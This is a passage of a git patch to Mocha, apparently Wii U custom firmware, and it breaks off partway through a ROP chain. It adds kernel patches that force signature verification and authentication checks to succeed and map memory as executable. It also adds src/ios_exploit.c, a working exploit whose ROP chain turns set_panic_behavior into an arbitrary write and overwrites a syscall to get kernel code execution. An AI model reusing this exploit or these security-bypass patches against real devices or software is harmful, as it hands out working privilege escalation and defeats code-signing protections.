From b65b6c86cc60d5186b885aba16d7a6a2f1e69948 Mon Sep 17 00:00:00 2001 From: dimok789 Date: Wed, 14 Dec 2016 14:14:12 +0100 Subject: [PATCH] - fixed bug with re-initialization of EEPROM and OTP dump on SD card - added new feature which allows you to disable os full relaunch (only possible in combination with sysNAND, not redNAND) - added new option which allows to return to HBL after executing the patches and not launch to System Menu (only in combination with disabled OS full relaunch) - some clean ups NOTE to the new feature: The new feature to disable full OS reload behaves similar to the simple signature patcher except that it setups execution memory region from kernel for wupserver and iosuhax dev node code and starts those. So it's a fast simple signature patcher with the addition of wupserver and iosuhax dev node. Another addition to the simple sign patcher is that the patches reload themself when exiting settings. Launch image is disabled for this method though. --- ios_kernel/source/fsa.h | 5 +- ios_kernel/source/instant_patches.c | 102 ++++++ ios_kernel/source/instant_patches.h | 29 ++ ios_kernel/source/ios_bsp_patches.c | 9 +- ios_kernel/source/ios_mcp_patches.c | 2 + ios_kernel/source/kernel_patches.c | 40 ++- ios_kernel/source/main.c | 118 +------ ios_kernel/source/redirection_setup.c | 90 ++++++ ios_kernel/source/redirection_setup.h | 29 ++ ios_kernel/source/utils.h | 2 + ios_mcp/source/main.c | 23 +- src/cfw_config.c | 8 + src/cfw_config.h | 4 +- src/ios_exploit.c | 412 ++++++++++++++++++++++++ src/ios_exploit.h | 16 + src/main.c | 445 +++----------------------- src/menu.c | 33 +- 17 files changed, 822 insertions(+), 545 deletions(-) create mode 100644 ios_kernel/source/instant_patches.c create mode 100644 ios_kernel/source/instant_patches.h create mode 100644 ios_kernel/source/redirection_setup.c create mode 100644 ios_kernel/source/redirection_setup.h create mode 100644 src/ios_exploit.c create mode 100644 src/ios_exploit.h diff --git a/ios_kernel/source/fsa.h b/ios_kernel/source/fsa.h index cec4af2..f86ec57 100644 --- a/ios_kernel/source/fsa.h +++ b/ios_kernel/source/fsa.h @@ -27,14 +27,15 @@ #include "types.h" #define NAND_DUMP_SIGNATURE_SECTOR 0x01 +#define NAND_MAX_DESC_TYPES 5 #define NAND_DUMP_SIGNATURE 0x4841585844554d50ULL // HAXXDUMP #define NAND_DESC_TYPE_SLC 0x534c4320 // 'SLC ' #define NAND_DESC_TYPE_SLCCMPT 0x534c4332 // 'SLC2' #define NAND_DESC_TYPE_MLC 0x4d4c4320 // 'MLC ' -#define NAND_DESC_TYPE_OTP 0x4f545020 // 'OTP ' #define NAND_DESC_TYPE_SEEPROM 0x45455052 // 'EEPR' +#define NAND_DESC_TYPE_OTP 0x4f545020 // 'OTP ' typedef struct _stdio_nand_desc_t { @@ -46,7 +47,7 @@ typedef struct _stdio_nand_desc_t typedef struct _sdio_nand_signature_sector_t { u64 signature; // HAXXDUMP - stdio_nand_desc_t nand_descriptions[5]; + stdio_nand_desc_t nand_descriptions[NAND_MAX_DESC_TYPES]; } __attribute__((packed)) sdio_nand_signature_sector_t; int FSA_SDReadRawSectors(void *buffer, u32 sector, u32 num_sectors); diff --git a/ios_kernel/source/instant_patches.c b/ios_kernel/source/instant_patches.c new file mode 100644 index 0000000..25e825c --- /dev/null +++ b/ios_kernel/source/instant_patches.c @@ -0,0 +1,102 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "config.h" +#include "utils.h" +#include "types.h" +#include "elf_patcher.h" +#include "kernel_patches.h" +#include "ios_mcp_patches.h" +#include "../../ios_mcp/ios_mcp_syms.h" + +typedef struct +{ + u32 paddr; + u32 vaddr; + u32 size; + u32 domain; + u32 type; + u32 cached; +} ios_map_shared_info_t; + +void instant_patches_setup(void) +{ + // apply IOS ELF launch hook + *(volatile u32*)0x0812A120 = ARM_BL(0x0812A120, kernel_launch_ios); + + // patch FSA raw access + *(volatile u32*)0x1070FAE8 = 0x05812070; + *(volatile u32*)0x1070FAEC = 0xEAFFFFF9; + + if(cfw_config.noIosReload) + { + int (*_iosMapSharedUserExecution)(void *descr) = (void*)0x08124F88; + + // patch kernel dev node registration + *(volatile u32*)0x081430B4 = 1; + + // fix 10 minute timeout that crashes MCP after 10 minutes of booting + *(volatile u32*)(0x05022474 - 0x05000000 + 0x081C0000) = 0xFFFFFFFF; // NEW_TIMEOUT + + // patch cached cert check + // start our MCP thread directly on first title change + kernel_memset((void*)(0x050BD000 - 0x05000000 + 0x081C0000), 0, 0x3000); + *(volatile u32*)(0x05054D6C - 0x05000000 + 0x081C0000) = ARM_B(0x05054D6C, _startMainThread); + + // patch MCP authentication check + *(volatile u32*)(0x05014CAC - 0x05000000 + 0x081C0000) = 0x20004770; // mov r0, #0; bx lr + + // patch IOSC_VerifyPubkeySign to always succeed + *(volatile u32*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0 + *(volatile u32*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr + + // allow custom bootLogoTex and bootMovie.h264 + *(volatile u32*)(0xE0030D68 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 + *(volatile u32*)(0xE0030D34 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 + + // allow any region title launch + *(volatile u32*)(0xE0030498 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0 + + // set zero to start thread directly on first title change + *(volatile u32*)(0x050BC580 - 0x05000000 + 0x081C0000) = 0; + // down display launch image at this state + *(volatile u32*)(_text_start - 4 - 0x05100000 + 0x13D80000) = 0; + + ios_map_shared_info_t map_info; + map_info.paddr = 0x050BD000 - 0x05000000 + 0x081C0000; + map_info.vaddr = 0x050BD000; + map_info.size = 0x3000; + map_info.domain = 1; // MCP + map_info.type = 3; // 0 = undefined, 1 = kernel only, 2 = read only, 3 = read/write + map_info.cached = 0xFFFFFFFF; + _iosMapSharedUserExecution(&map_info); // actually a bss section but oh well it will have read/write + + map_info.paddr = 0x05116000 - 0x05100000 + 0x13D80000; + map_info.vaddr = 0x05116000; + map_info.size = 0x4000; + map_info.domain = 1; // MCP + map_info.type = 3; // 0 = undefined, 1 = kernel only, 2 = read only, 3 = read write + map_info.cached = 0xFFFFFFFF; + _iosMapSharedUserExecution(&map_info); + } +} diff --git a/ios_kernel/source/instant_patches.h b/ios_kernel/source/instant_patches.h new file mode 100644 index 0000000..6130b70 --- /dev/null +++ b/ios_kernel/source/instant_patches.h @@ -0,0 +1,29 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _INSTANT_PATCHES_SETUP_H_ +#define _INSTANT_PATCHES_SETUP_H_ + +void instant_patches_setup(void); + +#endif diff --git a/ios_kernel/source/ios_bsp_patches.c b/ios_kernel/source/ios_bsp_patches.c index 48a7fae..5c15ddb 100644 --- a/ios_kernel/source/ios_bsp_patches.c +++ b/ios_kernel/source/ios_bsp_patches.c @@ -40,12 +40,11 @@ u32 bsp_get_phys_code_base(void) int bsp_init_seeprom_buffer(u32 baseSector, int dumpFound) { - int(*disable_interrupts)() = (int(*)())0x0812E778; - int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; + void *tmpBuffer = (void*)0x00140000; if(dumpFound) { - int res = FSA_SDReadRawSectors((void*)0x00140000, baseSector, 1); + int res = FSA_SDReadRawSectors(tmpBuffer, baseSector, 1); if(res < 0) return res; } @@ -53,13 +52,13 @@ int bsp_init_seeprom_buffer(u32 baseSector, int dumpFound) { //! just clear out the seeprom and it will be re-initialized on BSP module //! TODO: maybe read in the seeprom here from SPI or BSP module - kernel_memset((void*)0x00140000, 0, 0x200); + kernel_memset(tmpBuffer, 0, 0x200); } int level = disable_interrupts(); unsigned int control_register = disable_mmu(); - kernel_memcpy((void*)(_seeprom_buffer_start - 0xE6047000 + 0x13D07000), (void*)0x00140000, 0x200); + kernel_memcpy((void*)(_seeprom_buffer_start - 0xE6047000 + 0x13D07000), tmpBuffer, 0x200); restore_mmu(control_register); enable_interrupts(level); diff --git a/ios_kernel/source/ios_mcp_patches.c b/ios_kernel/source/ios_mcp_patches.c index b12e39e..ed02693 100644 --- a/ios_kernel/source/ios_mcp_patches.c +++ b/ios_kernel/source/ios_mcp_patches.c @@ -52,6 +52,8 @@ void mcp_run_patches(u32 ios_elf_start) section_write(ios_elf_start, 0x050600FC, "/vol/system_slc/config/syshax.xml", 0x24); } + section_write_word(ios_elf_start, (_text_start - 4), cfw_config.launchImage); + u32 patch_count = (u32)(((u8*)mcp_patches_table_end) - ((u8*)mcp_patches_table)) / sizeof(patch_table_t); patch_table_entries(ios_elf_start, mcp_patches_table, patch_count); } diff --git a/ios_kernel/source/kernel_patches.c b/ios_kernel/source/kernel_patches.c index ea49b64..3aafa73 100644 --- a/ios_kernel/source/kernel_patches.c +++ b/ios_kernel/source/kernel_patches.c @@ -23,6 +23,9 @@ ***************************************************************************/ #include "types.h" #include "elf_patcher.h" +#include "ios_mcp_patches.h" +#include "ios_fs_patches.h" +#include "ios_bsp_patches.h" #include "kernel_patches.h" #include "exception_handler.h" #include "fsa.h" @@ -63,11 +66,11 @@ static int kernel_read_otp_internal(int index, void* out_buf, u32 size) return 0; } -int kernel_init_otp_buffer(u32 sd_sector, int tagValid) +int kernel_init_otp_buffer(u32 sd_sector, int dumpFound) { int res; - if(tagValid) + if(dumpFound) { res = FSA_SDReadRawSectors(otp_buffer, sd_sector, 2); } @@ -77,13 +80,43 @@ int kernel_init_otp_buffer(u32 sd_sector, int tagValid) res = orig_kernel_read_otp_internal(0, otp_buffer, 0x400); } - if((res == 0) && !tagValid) + if((res == 0) && (dumpFound == 0)) { FSA_SDWriteRawSectors(otp_buffer, sd_sector, 2); } return res; } +void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H) +{ + void (*kernel_launch_bootrom)(u32 launch_address, u32 L, u32 C, u32 H) = (void*)0x0812A050; + + if(*(u32*)(launch_address - 0x300 + 0x1AC) == 0x00DFD000) + { + int level = disable_interrupts(); + unsigned int control_register = disable_mmu(); + + u32 ios_elf_start = launch_address + 0x804 - 0x300; + + //! try to keep the order of virt. addresses to reduce the memmove amount + mcp_run_patches(ios_elf_start); + kernel_run_patches(ios_elf_start); + + if(cfw_config.redNAND) + { + fs_run_patches(ios_elf_start); + + if(cfw_config.seeprom_red) + bsp_run_patches(ios_elf_start); + } + + restore_mmu(control_register); + enable_interrupts(level); + } + + kernel_launch_bootrom(launch_address, L, C, H); +} + void kernel_run_patches(u32 ios_elf_start) { section_write(ios_elf_start, (u32)__KERNEL_CODE_START, __KERNEL_CODE_START, __KERNEL_CODE_END - __KERNEL_CODE_START); @@ -106,3 +139,4 @@ void kernel_run_patches(u32 ios_elf_start) u32 patch_count = (u32)(((u8*)kernel_patches_table_end) - ((u8*)kernel_patches_table)) / sizeof(patch_table_t); patch_table_entries(ios_elf_start, kernel_patches_table, patch_count); } + diff --git a/ios_kernel/source/main.c b/ios_kernel/source/main.c index eb8a2d6..2f8c9d6 100644 --- a/ios_kernel/source/main.c +++ b/ios_kernel/source/main.c @@ -22,15 +22,13 @@ * distribution. ***************************************************************************/ #include "types.h" -#include "elf_abi.h" -#include "elf_patcher.h" -#include "kernel_patches.h" +#include "config.h" +#include "utils.h" +#include "redirection_setup.h" #include "ios_mcp_patches.h" #include "ios_fs_patches.h" #include "ios_bsp_patches.h" -#include "config.h" -#include "fsa.h" -#include "utils.h" +#include "instant_patches.h" #define USB_PHYS_CODE_BASE 0x101312D0 @@ -66,46 +64,8 @@ static const char repairData_usb_root_thread[] = { 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, }; -void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H) -{ - void (*kernel_launch_bootrom)(u32 launch_address, u32 L, u32 C, u32 H) = (void*)0x0812A050; - - if(*(u32*)(launch_address - 0x300 + 0x1AC) == 0x00DFD000) - { - int(*disable_interrupts)() = (int(*)())0x0812E778; - int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; - - int level = disable_interrupts(); - unsigned int control_register = disable_mmu(); - - u32 ios_elf_start = launch_address + 0x804 - 0x300; - - //! try to keep the order of virt. addresses to reduce the memmove amount - mcp_run_patches(ios_elf_start); - kernel_run_patches(ios_elf_start); - - if(cfw_config.redNAND) - { - fs_run_patches(ios_elf_start); - - if(cfw_config.seeprom_red) - bsp_run_patches(ios_elf_start); - } - - restore_mmu(control_register); - enable_interrupts(level); - } - - kernel_launch_bootrom(launch_address, L, C, H); -} - - -int BSP_EEPROM_ReadData(void *buffer, int offset, int size); - int _main() { - int(*disable_interrupts)() = (int(*)())0x0812E778; - int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; void(*invalidate_icache)() = (void(*)())0x0812DCF0; void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160; @@ -159,16 +119,10 @@ int _main() kernel_memcpy((void*)MCP_LAUNCH_IMG_PHYS_ADDR, payloads->data, payloads->size); payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); } - else - { - *(u32*)MCP_LAUNCH_IMG_PHYS_ADDR = 0; - } - // patch FSA raw access - *(volatile u32*)0x1070FAE8 = 0x05812070; - *(volatile u32*)0x1070FAEC = 0xEAFFFFF9; + // run all instant patches as necessary + instant_patches_setup(); - *(volatile u32*)0x0812A120 = ARM_BL(0x0812A120, kernel_launch_ios); *(volatile u32*)(0x1555500) = 0; /* REENABLE MMU */ @@ -181,65 +135,7 @@ int _main() if(cfw_config.redNAND) { - int seepromDumpFound = 0; - u32 seepromDumpBaseSector = 0x4FF; - int otpDumpFound = 0; - u32 otpDumpBaseSector = 0x4FD; - int writeInfoSector = 0; - sdio_nand_signature_sector_t *infoSector = (sdio_nand_signature_sector_t*)0x00141000; - kernel_memset(infoSector, 0x00, 0x200); - - FSA_SDReadRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1); - - if(infoSector->signature == NAND_DUMP_SIGNATURE) - { - int i; - for(i = 0; i < 6; i++) - { - if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_SEEPROM) - { - seepromDumpFound = 1; - seepromDumpBaseSector = infoSector->nand_descriptions[i].base_sector; - } - if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_OTP) - { - otpDumpFound = 1; - otpDumpBaseSector = infoSector->nand_descriptions[i].base_sector; - } - } - } - - if(cfw_config.seeprom_red) - { - bsp_init_seeprom_buffer(seepromDumpBaseSector, seepromDumpFound); - - if(seepromDumpBaseSector == 0) - { - infoSector->nand_descriptions[3].nand_type = NAND_DESC_TYPE_SEEPROM; - infoSector->nand_descriptions[3].base_sector = seepromDumpBaseSector; - infoSector->nand_descriptions[3].sector_count = 1; - writeInfoSector++; - } - } - - if(cfw_config.otp_red) - { - kernel_init_otp_buffer(otpDumpBaseSector, otpDumpFound); - - if(otpDumpFound == 0) - { - infoSector->nand_descriptions[4].nand_type = NAND_DESC_TYPE_OTP; - infoSector->nand_descriptions[4].base_sector = otpDumpBaseSector; - infoSector->nand_descriptions[4].sector_count = 2; - writeInfoSector++; - } - } - - - if(writeInfoSector > 1) - { - FSA_SDWriteRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1); - } + redirection_setup(); } return 0; diff --git a/ios_kernel/source/redirection_setup.c b/ios_kernel/source/redirection_setup.c new file mode 100644 index 0000000..a779793 --- /dev/null +++ b/ios_kernel/source/redirection_setup.c @@ -0,0 +1,90 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "config.h" +#include "utils.h" +#include "fsa.h" +#include "kernel_patches.h" +#include "ios_bsp_patches.h" + +void redirection_setup(void) +{ + int seepromDumpFound = 0; + u32 seepromDumpBaseSector = 0x4FF; + int otpDumpFound = 0; + u32 otpDumpBaseSector = 0x4FD; + int writeInfoSector = 0; + sdio_nand_signature_sector_t *infoSector = (sdio_nand_signature_sector_t*)0x00141000; + kernel_memset(infoSector, 0x00, 0x200); + + FSA_SDReadRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1); + + if(infoSector->signature == NAND_DUMP_SIGNATURE) + { + int i; + for(i = 0; i < NAND_MAX_DESC_TYPES; i++) + { + if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_SEEPROM) + { + seepromDumpFound = 1; + seepromDumpBaseSector = infoSector->nand_descriptions[i].base_sector; + } + if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_OTP) + { + otpDumpFound = 1; + otpDumpBaseSector = infoSector->nand_descriptions[i].base_sector; + } + } + } + + if(cfw_config.seeprom_red) + { + bsp_init_seeprom_buffer(seepromDumpBaseSector, seepromDumpFound); + + if(seepromDumpFound == 0) + { + infoSector->nand_descriptions[3].nand_type = NAND_DESC_TYPE_SEEPROM; + infoSector->nand_descriptions[3].base_sector = seepromDumpBaseSector; + infoSector->nand_descriptions[3].sector_count = 1; + writeInfoSector++; + } + } + + if(cfw_config.otp_red) + { + kernel_init_otp_buffer(otpDumpBaseSector, otpDumpFound); + + if(otpDumpFound == 0) + { + infoSector->nand_descriptions[4].nand_type = NAND_DESC_TYPE_OTP; + infoSector->nand_descriptions[4].base_sector = otpDumpBaseSector; + infoSector->nand_descriptions[4].sector_count = 2; + writeInfoSector++; + } + } + + if(writeInfoSector > 0) + { + FSA_SDWriteRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1); + } +} diff --git a/ios_kernel/source/redirection_setup.h b/ios_kernel/source/redirection_setup.h new file mode 100644 index 0000000..ffe175f --- /dev/null +++ b/ios_kernel/source/redirection_setup.h @@ -0,0 +1,29 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _REDIRECTION_SETUP_H_ +#define _REDIRECTION_SETUP_H_ + +void redirection_setup(void); + +#endif diff --git a/ios_kernel/source/utils.h b/ios_kernel/source/utils.h index 47a2a71..b9a2a8a 100644 --- a/ios_kernel/source/utils.h +++ b/ios_kernel/source/utils.h @@ -29,6 +29,8 @@ #define kernel_memcpy ((void * (*)(void*, const void*, int))0x08131D04) #define kernel_memset ((void *(*)(void*, int, unsigned int))0x08131DA0) #define kernel_strncpy ((char *(*)(char*, const char*, unsigned int))0x081329B8) +#define disable_interrupts ((int(*)())0x0812E778) +#define enable_interrupts ((int(*)(int))0x0812E78C) #define kernel_bsp_command_5 ((int (*)(const char*, int offset, const char*, int size, void *buffer))0x0812EC40) void reverse_memcpy(void* dest, const void* src, unsigned int size); diff --git a/ios_mcp/source/main.c b/ios_mcp/source/main.c index 50c3c27..6468783 100644 --- a/ios_mcp/source/main.c +++ b/ios_mcp/source/main.c @@ -11,6 +11,7 @@ #include "ipc.h" static bool serverKilled; +static int threadsStarted = 0; // overwrites command_buffer with response // returns length of response (or 0 for no response, negative for error) @@ -225,15 +226,23 @@ int _main(void *arg) return 0; } -void _startMainThread(void) +int _startMainThread(void) { - drawSplashScreen(); + if(threadsStarted == 0) + { + threadsStarted = 1; - memset((void*)0x050BD000, 0, 0x3000); + int * launchImageConfigured = (int *)(0x05116000 - 4); + if(*launchImageConfigured != 0) + { + drawSplashScreen(); + } - int threadId = svcCreateThread(_main, 0, (u32*)(0x050BD000 + 0x1000), 0x1000, 0x78, 1); - if(threadId >= 0) - svcStartThread(threadId); + int threadId = svcCreateThread(_main, 0, (u32*)(0x050BD000 + 0x1000), 0x1000, 0x78, 1); + if(threadId >= 0) + svcStartThread(threadId); - ipc_init(); + ipc_init(); + } + return 0; } diff --git a/src/cfw_config.c b/src/cfw_config.c index 35a5d4e..e36f9e0 100644 --- a/src/cfw_config.c +++ b/src/cfw_config.c @@ -79,6 +79,8 @@ void default_config(cfw_config_t * config) config->viewMode = 0; config->directLaunch = 0; config->launchImage = 1; + config->noIosReload = 0; + config->launchSysMenu = 1; config->redNAND = 0; config->seeprom_red = 0; config->otp_red = 0; @@ -116,6 +118,10 @@ int read_config(cfw_config_t * config) config->syshaxXml = atoi(value); else if(strcmp(option, "viewMode") == 0) config->viewMode = atoi(value); + else if(strcmp(option, "noIosReload") == 0) + config->noIosReload = atoi(value); + else if(strcmp(option, "launchSysMenu") == 0) + config->launchSysMenu = atoi(value); } } @@ -135,6 +141,8 @@ int write_config(cfw_config_t * config) fprintf(pFile, "viewMode=%i\n", config->viewMode); fprintf(pFile, "directLaunch=%i\n", config->directLaunch); fprintf(pFile, "launchImage=%i\n", config->launchImage); + fprintf(pFile, "noIosReload=%i\n", config->noIosReload); + fprintf(pFile, "launchSysMenu=%i\n", config->launchSysMenu); fprintf(pFile, "redNAND=%i\n", config->redNAND); fprintf(pFile, "seeprom_red=%i\n", config->seeprom_red); fprintf(pFile, "otp_red=%i\n", config->otp_red); diff --git a/src/cfw_config.h b/src/cfw_config.h index c49972a..92a8c17 100644 --- a/src/cfw_config.h +++ b/src/cfw_config.h @@ -24,7 +24,7 @@ #ifndef CFW_CONFIG_H_ #define CFW_CONFIG_H_ -#define APP_VERSION "v0.1" +#define APP_VERSION "v0.2" #define APP_PATH "sd:/wiiu/apps/mocha" #define CONFIG_PATH (APP_PATH "/config.ini") @@ -33,6 +33,8 @@ typedef struct int viewMode; int directLaunch; int launchImage; + int noIosReload; + int launchSysMenu; int redNAND; int seeprom_red; int otp_red; diff --git a/src/ios_exploit.c b/src/ios_exploit.c new file mode 100644 index 0000000..d9785b3 --- /dev/null +++ b/src/ios_exploit.c @@ -0,0 +1,412 @@ +#include +#include +#include "dynamic_libs/os_functions.h" +#include "cfw_config.h" + +#define ALIGN4(x) (((x) + 3) & ~3) + +#define CHAIN_START 0x1016AD40 +#define SHUTDOWN 0x1012EE4C +#define SIMPLE_RETURN 0x101014E4 +#define SOURCE (0x120000) +#define IOS_CREATETHREAD 0x1012EABC +#define ARM_CODE_BASE 0x08135000 +#define REPLACE_SYSCALL 0x081298BC + +extern const u8 launch_image_tga[]; +extern const u32 launch_image_tga_size; + +static void uhs_exploit_init(int uhs_handle, cfw_config_t * config); +static int uhs_write32(int uhs_handle, int arm_addr, int val); + +//!------Variables used in exploit------ +static int *pretend_root_hub = (int*)0xF5003ABC; +static int *ayylmao = (int*)0xF4500000; +//!------------------------------------- + +typedef struct +{ + u32 size; + u8 data[0]; +} payload_info_t; + +/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ +#include "../ios_kernel/ios_kernel.bin.h" +#include "../ios_usb/ios_usb.bin.h" +#include "../ios_fs/ios_fs.bin.h" +#include "../ios_bsp/ios_bsp.bin.h" +#include "../ios_mcp/ios_mcp.bin.h" + + +/* ROP CHAIN STARTS HERE (0x1015BD78) */ +static const int final_chain[] = { + 0x101236f3, // 0x00 POP {R1-R7,PC} + 0x0, // 0x04 arg + 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR + 0x68, // 0x0C stacksize + 0x10101638, // 0x10 + 0x0, // 0x14 + 0x0, // 0x18 + 0x0, // 0x1C + 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x30 + 0x0, // 0x34 + IOS_CREATETHREAD, // 0x38 + 0x1, // 0x3C + 0x2, // 0x40 + 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE92D4010, // 0x4C value: PUSH {R4,LR} + 0x0, // 0x50 + 0x10123a8b, // 0x54 POP {R3,R4,PC} + 0x1, // 0x58 R3 must be 1 for the arbitrary write + 0x0, // 0x5C + 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x64 + 0x0, // 0x68 + 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) + 0x0, // 0x70 + 0x0, // 0x74 + 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A04000, // 0x80 value: MOV R4, R0 + 0x0, // 0x84 + 0x10123a8b, // 0x88 POP {R3,R4,PC} + 0x1, // 0x8C R3 must be 1 for the arbitrary write + 0x0, // 0x90 + 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x98 + 0x0, // 0x9C + 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) + 0x0, // 0xA4 + 0x0, // 0xA8 + 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF + 0x0, // 0xB8 + 0x10123a8b, // 0xBC POP {R3,R4,PC} + 0x1, // 0xC0 R3 must be 1 for the arbitrary write + 0x0, // 0xC4 + 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0xCC + 0x0, // 0xD0 + 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) + 0x0, // 0xD8 + 0x0, // 0xDC + 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) + 0x0, // 0xEC + 0x10123a8b, // 0xF0 POP {R3,R4,PC} + 0x1, // 0xF4 R3 must be 1 for the arbitrary write + 0x0, // 0xF8 + 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x100 + 0x0, // 0x104 + 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) + 0x0, // 0x10C + 0x0, // 0x110 + 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A00004, // 0x11C value: MOV R0, R4 + 0x0, // 0x120 + 0x10123a8b, // 0x124 POP {R3,R4,PC} + 0x1, // 0x128 R3 must be 1 for the arbitrary write + 0x0, // 0x12C + 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x134 + 0x0, // 0x138 + 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) + 0x0, // 0x140 + 0x0, // 0x144 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x00000000, // 0x150 value: NOP + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, 